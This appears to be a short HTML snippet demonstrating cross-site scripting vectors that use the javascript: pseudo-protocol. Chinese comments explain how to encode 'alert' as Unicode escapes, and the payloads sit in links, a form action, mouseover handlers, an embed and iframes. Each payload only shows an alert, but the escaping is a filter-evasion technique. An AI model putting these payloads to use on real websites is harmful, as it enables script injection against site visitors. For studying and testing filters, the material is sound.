XSS-Payload-JS-pseudo-protocol

by zicai

HTML

<!-- JavaScript 伪协议： -->
<!-- 
alert javascript 编码为: 
\u0061\u006C\u0065\u0072\u0074 
或
\u{61}\u{6C}\u{65}\u{72}\u{74} 
-->
<a href="javascript:\u0061\u006C\u0065\u0072\u0074('a-href')">click me</a>
<a href="javascript:\u{61}\u{6C}\u{65}\u{72}\u{74}('a-href')">click me</a>

<form action="javascript:\u0061\u006C\u0065\u0072\u0074('form-action')">
  <button>submit</button>
</form>

<span onmouseover="javascript:\u0061\u006C\u0065\u0072\u0074('event handler')">hover me</span>
<span onmouseover="javascript:\u{0061}\u{006C}\u{0065}\u{0072}\u{0074}('event handler')">hover me</span>

<embed src="javascript:\u0061\u006C\u0065\u0072\u0074('embed-src')" type=""><!-- only firefox -->

<iframe src="javascript:\u0061\u006C\u0065\u0072\u0074('iframe-src')" frameborder="0"></iframe>
<iframe src="javascript:\u{61}\u{6C}\u{65}\u{72}\u{74}('iframe-src')" frameborder="0"></iframe>